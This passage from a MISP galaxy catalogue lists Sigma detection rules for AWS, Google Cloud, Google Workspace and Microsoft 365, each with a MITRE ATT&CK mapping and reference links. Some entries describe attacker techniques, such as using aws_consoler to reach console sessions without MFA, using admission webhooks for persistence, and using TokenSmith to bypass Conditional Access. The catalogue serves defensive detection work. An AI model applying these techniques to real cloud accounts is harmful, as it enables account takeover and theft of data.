The tag is: *misp-galaxy:sigma-rules="AWS Config Disabling Channel/Recorder"*

View relationships graph

AWS Config Disabling Channel/Recorder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Cloud Logs - T1562.008" with estimative-language:likelihood-probability="almost-certain"

Table 17058. Table References

Links
https://docs.aws.amazon.com/config/latest/developerguide/cloudtrail-log-files-for-aws-config.html

https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_config_disable_recording.yml

LoadBalancer Security Group Modification

Detects changes to the security groups associated with an Elastic Load Balancer (ELB) or Application Load Balancer (ALB). This can indicate that a misconfiguration allowing more traffic into the system than required, or could indicate that an attacker is attempting to enable new connections into a VPC or subnet controlled by the account.

The tag is: *misp-galaxy:sigma-rules="LoadBalancer Security Group Modification"*

View relationships graph

LoadBalancer Security Group Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 17059. Table References

Links
https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_loadbalancer.yml

AWS User Login Profile Was Modified

Detects activity when someone is changing passwords on behalf of other users. An attacker with the "iam:UpdateLoginProfile" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.

The tag is: *misp-galaxy:sigma-rules="AWS User Login Profile Was Modified"*

View relationships graph

AWS User Login Profile Was Modified has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17060. Table References

Links
https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_update_login_profile.yml

RDS Database Security Group Modification

Detects changes to the security group entries for RDS databases. This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.

The tag is: *misp-galaxy:sigma-rules="RDS Database Security Group Modification"*

View relationships graph

RDS Database Security Group Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 17061. Table References

Links
https://www.gorillastack.com/blog/real-time-events/important-aws-cloudtrail-security-events-tracking/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_cloudtrail_security_group_change_rds.yml

AWS Console GetSigninToken Potential Abuse

Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.

The tag is: *misp-galaxy:sigma-rules="AWS Console GetSigninToken Potential Abuse"*

View relationships graph

AWS Console GetSigninToken Potential Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Services - T1021.007" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"

Table 17062. Table References

Links
https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/

https://github.com/NetSPI/aws_consoler
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_console_getsignintoken.yml

AWS IAM S3Browser Templated S3 Bucket Policy Creation

Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "<YOUR-BUCKET-NAME>".

The tag is: *misp-galaxy:sigma-rules="AWS IAM S3Browser Templated S3 Bucket Policy Creation"*

View relationships graph

AWS IAM S3Browser Templated S3 Bucket Policy Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"

Table 17063. Table References

Links
https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/aws/cloudtrail/aws_iam_s3browser_templated_s3_bucket_policy_creation.yml

Google Cloud Kubernetes Secrets Modified or Deleted

Identifies when the Secrets are Modified or Deleted.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Kubernetes Secrets Modified or Deleted"*

Table 17064. Table References

Links
https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_secrets_modified_or_deleted.yml

Google Cloud Storage Buckets Enumeration

Detects when storage bucket is enumerated in Google Cloud.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Storage Buckets Enumeration"*

Table 17065. Table References

Links
https://cloud.google.com/storage/docs/json_api/v1/buckets
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_bucket_enumeration.yml

Google Cloud Service Account Modified

Identifies when a service account is modified in Google Cloud.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Service Account Modified"*

Table 17066. Table References

Links
https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_service_account_modified.yml

Google Cloud Firewall Modified or Deleted

Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).

The tag is: *misp-galaxy:sigma-rules="Google Cloud Firewall Modified or Deleted"*

View relationships graph

Google Cloud Firewall Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 17067. Table References

Links
https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html
https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_firewall_rule_modified_or_deleted.yml

Google Cloud Storage Buckets Modified or Deleted

Detects when storage bucket is modified or deleted in Google Cloud.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Storage Buckets Modified or Deleted"*

Table 17068. Table References

Links
https://cloud.google.com/storage/docs/json_api/v1/buckets
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_bucket_modified_or_deleted.yml

GCP Access Policy Deleted

Detects when an access policy that is applied to a GCP cloud resource is deleted. An adversary would be able to remove access policies to gain access to a GCP cloud resource.

The tag is: *misp-galaxy:sigma-rules="GCP Access Policy Deleted"*

View relationships graph

GCP Access Policy Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17069. Table References

Links
https://cloud.google.com/access-context-manager/docs/audit-logging
https://cloud.google.com/logging/docs/audit/understanding-audit-logs
https://cloud.google.com/logging/docs/reference/audit/auditlog/rest/Shared.Types/AuditLog
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_access_policy_deleted.yml

Google Cloud VPN Tunnel Modified or Deleted

Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.

The tag is: *misp-galaxy:sigma-rules="Google Cloud VPN Tunnel Modified or Deleted"*

Table 17070. Table References

Links
https://any-api.com/googleapis_com/compute/docs/vpnTunnels
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_vpn_tunnel_modified_or_deleted.yml

Google Full Network Traffic Packet Capture

Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.

The tag is: *misp-galaxy:sigma-rules="Google Full Network Traffic Packet Capture"*

View relationships graph

Google Full Network Traffic Packet Capture has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 17071. Table References

Links
https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html
https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_full_network_traffic_packet_capture.yml

Google Cloud DNS Zone Modified or Deleted

Identifies when a DNS Zone is modified or deleted in Google Cloud.

The tag is: *misp-galaxy:sigma-rules="Google Cloud DNS Zone Modified or Deleted"*

Table 17072. Table References

Links
https://cloud.google.com/dns/docs/reference/v1/managedZones
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_dns_zone_modified_or_deleted.yml

Google Cloud SQL Database Modified or Deleted

Detect when a Cloud SQL DB has been modified or deleted.

The tag is: *misp-galaxy:sigma-rules="Google Cloud SQL Database Modified or Deleted"*

Table 17073. Table References

Links
https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_sql_database_modified_or_deleted.yml

Google Cloud Kubernetes Admission Controller

Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Kubernetes Admission Controller"*

View relationships graph

Google Cloud Kubernetes Admission Controller has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 17074. Table References

Links
https://cloud.google.com/kubernetes-engine/docs
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_admission_controller.yml

Google Cloud Re-identifies Sensitive Information

Identifies when sensitive information is re-identified in google Cloud.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Re-identifies Sensitive Information"*

View relationships graph

Google Cloud Re-identifies Sensitive Information has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565" with estimative-language:likelihood-probability="almost-certain"

Table 17075. Table References

Links

https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_dlp_re_identifies_sensitive_information.yml

Google Cloud Kubernetes RoleBinding

Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Kubernetes RoleBinding"*

Table 17076. Table References

Links
https://kubernetes.io/docs/reference/access-authn-authz/rbac/
https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole
https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging
https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control
https://github.com/elastic/detection-rules/pull/1267
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_rolebinding.yml

Google Cloud Kubernetes CronJob

Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Kubernetes CronJob"*

Table 17077. Table References

Links
https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
https://cloud.google.com/kubernetes-engine/docs
https://kubernetes.io/docs/concepts/workloads/controllers/job/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_kubernetes_cronjob.yml

Google Cloud Service Account Disabled or Deleted

Identifies when a service account is disabled or deleted in Google Cloud.

The tag is: *misp-galaxy:sigma-rules="Google Cloud Service Account Disabled or Deleted"*

View relationships graph

Google Cloud Service Account Disabled or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"

Table 17078. Table References

Links
https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_service_account_disabled_or_deleted.yml

GCP Break-glass Container Workload Deployed

Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls.

The tag is: *misp-galaxy:sigma-rules="GCP Break-glass Container Workload Deployed"*

View relationships graph

GCP Break-glass Container Workload Deployed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 17079. Table References

Links
https://cloud.google.com/binary-authorization
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/audit/gcp_breakglass_container_workload_deployed.yml

Google Workspace MFA Disabled

Detects when multi-factor authentication (MFA) is disabled.

The tag is: *misp-galaxy:sigma-rules="Google Workspace MFA Disabled"*

Table 17080. Table References

Links
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION

https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION
https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_mfa_disabled.yml

Google Workspace Role Privilege Deleted

Detects when an a role privilege is deleted in Google Workspace.

The tag is: *misp-galaxy:sigma-rules="Google Workspace Role Privilege Deleted"*

Table 17081. Table References

Links
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings
https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_privilege_deleted.yml

Google Workspace Application Removed

Detects when an an application is removed from Google Workspace.

The tag is: *misp-galaxy:sigma-rules="Google Workspace Application Removed"*

Table 17082. Table References

Links
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST
https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_application_removed.yml

Google Workspace Application Access Level Modified

Detects when an access level is changed for a Google workspace application. An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model. An adversary would be able to remove access levels to gain easier access to Google workspace resources.

The tag is: *misp-galaxy:sigma-rules="Google Workspace Application Access Level Modified"*

View relationships graph

Google Workspace Application Access Level Modified has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"

Table 17083. Table References

Links
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-application-settings
https://support.google.com/a/answer/9261439
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_application_access_levels_modified.yml

Google Workspace Granted Domain API Access

Detects when an API access service account is granted domain authority.

The tag is: *misp-galaxy:sigma-rules="Google Workspace Granted Domain API Access"*

View relationships graph

Google Workspace Granted Domain API Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17084. Table References

Links
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS
https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_granted_domain_api_access.yml

Google Workspace User Granted Admin Privileges

Detects when an Google Workspace user is granted admin privileges.

The tag is: *misp-galaxy:sigma-rules="Google Workspace User Granted Admin Privileges"*

View relationships graph

Google Workspace User Granted Admin Privileges has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 17085. Table References

Links
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE
https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_user_granted_admin_privileges.yml

Google Workspace Role Modified or Deleted

Detects when an a role is modified or deleted in Google Workspace.

The tag is: *misp-galaxy:sigma-rules="Google Workspace Role Modified or Deleted"*

Table 17086. Table References

Links
https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings
https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gworkspace/gcp_gworkspace_role_modified_or_deleted.yml

New Federated Domain Added - Exchange

Detects the addition of a new Federated Domain.

The tag is: *misp-galaxy:sigma-rules="New Federated Domain Added - Exchange"*

View relationships graph

New Federated Domain Added - Exchange has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

Table 17087. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/wp-m-unc2452-2021-000343-01.pdf
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html
https://www.sygnia.co/golden-saml-advisory

https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://o365blog.com/post/aadbackdoor/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/exchange/microsoft365_new_federated_domain_added_exchange.yml

Azure Login Bypassing Conditional Access Policies

Detects a successful login to the Microsoft Intune Company Portal which could allow bypassing Conditional Access Policies and InTune device trust using a tool like TokenSmith.

The tag is: *misp-galaxy:sigma-rules="Azure Login Bypassing Conditional Access Policies"*

View relationships graph

Azure Login Bypassing Conditional Access Policies has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17088. Table References

Links
https://labs.jumpsec.com/tokensmith-bypassing-intune-compliant-device-conditional-access/
https://github.com/JumpsecLabs/TokenSmith
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/audit/microsoft365_bypass_conditional_access.yml

New Federated Domain Added

Detects the addition of a new Federated Domain.

The tag is: *misp-galaxy:sigma-rules="New Federated Domain Added"*

View relationships graph

New Federated Domain Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trust Modification - T1484.002" with estimative-language:likelihood-probability="almost-certain"

Table 17089. Table References

Links
https://o365blog.com/post/aadbackdoor/
https://research.splunk.com/cloud/e155876a-6048-11eb-ae93-0242ac130002/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/audit/microsoft365_new_federated_domain_added_audit.yml

Disabling Multi Factor Authentication

Detects disabling of Multi Factor Authentication.

The tag is: *misp-galaxy:sigma-rules="Disabling Multi Factor Authentication"*

View relationships graph

Disabling Multi Factor Authentication has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006" with estimative-language:likelihood-probability="almost-certain"

Table 17090. Table References

Links
https://research.splunk.com/cloud/c783dd98-c703-4252-9e8a-f19d9f5c949e/
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/audit/microsoft365_disabling_mfa.yml

Activity from Infrequent Country

Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.

The tag is: *misp-galaxy:sigma-rules="Activity from Infrequent Country"*

View relationships graph

Activity from Infrequent Country has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 17091. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_infrequent_country.yml

Microsoft 365 - Impossible Travel Activity

Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.

The tag is: *misp-galaxy:sigma-rules="Microsoft 365 - Impossible Travel Activity"*

View relationships graph

Microsoft 365 - Impossible Travel Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17092. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_impossible_travel_activity.yml

Activity from Anonymous IP Addresses

Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.

The tag is: *misp-galaxy:sigma-rules="Activity from Anonymous IP Addresses"*

View relationships graph

Activity from Anonymous IP Addresses has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 17093. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_anonymous_ip_addresses.yml

Microsoft 365 - Unusual Volume of File Deletion

Detects when a Microsoft Cloud App Security reported a user has deleted a unusual a large volume of files.

The tag is: *misp-galaxy:sigma-rules="Microsoft 365 - Unusual Volume of File Deletion"*

View relationships graph

Microsoft 365 - Unusual Volume of File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 17094. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_unusual_volume_of_file_deletion.yml

Suspicious Inbox Forwarding

Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.

The tag is: *misp-galaxy:sigma-rules="Suspicious Inbox Forwarding"*

View relationships graph

Suspicious Inbox Forwarding has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

Table 17095. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_susp_inbox_forwarding.yml

Suspicious OAuth App File Download Activities

Detects when a Microsoft Cloud App Security reported when an app downloads multiple files from Microsoft SharePoint or Microsoft OneDrive in a manner that is unusual for the user.

The tag is: *misp-galaxy:sigma-rules="Suspicious OAuth App File Download Activities"*

Table 17096. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_susp_oauth_app_file_download_activities.yml

PST Export Alert Using eDiscovery Alert

Alert on when a user has performed an eDiscovery search or exported a PST file from the search. This PST file usually has sensitive information including email body content

The tag is: *misp-galaxy:sigma-rules="PST Export Alert Using eDiscovery Alert"*

View relationships graph

PST Export Alert Using eDiscovery Alert has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 17097. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/compliance/alert-policies?view=o365-worldwide
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_pst_export_alert.yml

Microsoft 365 - User Restricted from Sending Email

Detects when a Security Compliance Center reported a user who exceeded sending limits of the service policies and because of this has been restricted from sending email.

The tag is: *misp-galaxy:sigma-rules="Microsoft 365 - User Restricted from Sending Email"*

View relationships graph

Microsoft 365 - User Restricted from Sending Email has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"

Table 17098. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_user_restricted_from_sending_email.yml

Microsoft 365 - Potential Ransomware Activity

Detects when a Microsoft Cloud App Security reported when a user uploads files to the cloud that might be infected with ransomware.

The tag is: *misp-galaxy:sigma-rules="Microsoft 365 - Potential Ransomware Activity"*

View relationships graph

Microsoft 365 - Potential Ransomware Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 17099. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_potential_ransomware_activity.yml

Activity Performed by Terminated User

Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.

The tag is: *misp-galaxy:sigma-rules="Activity Performed by Terminated User"*

Table 17100. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_by_terminated_user.yml

Logon from a Risky IP Address

Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.

The tag is: *misp-galaxy:sigma-rules="Logon from a Risky IP Address"*

View relationships graph

Logon from a Risky IP Address has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 17101. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_logon_from_risky_ip_address.yml

Data Exfiltration to Unsanctioned Apps

Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.

The tag is: *misp-galaxy:sigma-rules="Data Exfiltration to Unsanctioned Apps"*

View relationships graph

Data Exfiltration to Unsanctioned Apps has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 17102. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_data_exfiltration_to_unsanctioned_app.yml

PST Export Alert Using New-ComplianceSearchAction

Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365.This rule will apply to ExchangePowerShell usage and from the cloud.

The tag is: *misp-galaxy:sigma-rules="PST Export Alert Using New-ComplianceSearchAction"*

View relationships graph

PST Export Alert Using New-ComplianceSearchAction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 17103. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/exchange/new-compliancesearchaction?view=exchange-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_pst_export_alert_using_new_compliancesearchaction.yml

Activity from Suspicious IP Addresses

Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence. These IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.

The tag is: *misp-galaxy:sigma-rules="Activity from Suspicious IP Addresses"*

View relationships graph

Activity from Suspicious IP Addresses has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 17104. Table References

Links
https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_detection/microsoft365_from_susp_ip_addresses.yml

User Removed From Group With CA Policy Modification Access

Monitor and alert on group membership removal of groups that have CA policy modification access

The tag is: *misp-galaxy:sigma-rules="User Removed From Group With CA Policy Modification Access"*

View relationships graph

User Removed From Group With CA Policy Modification Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
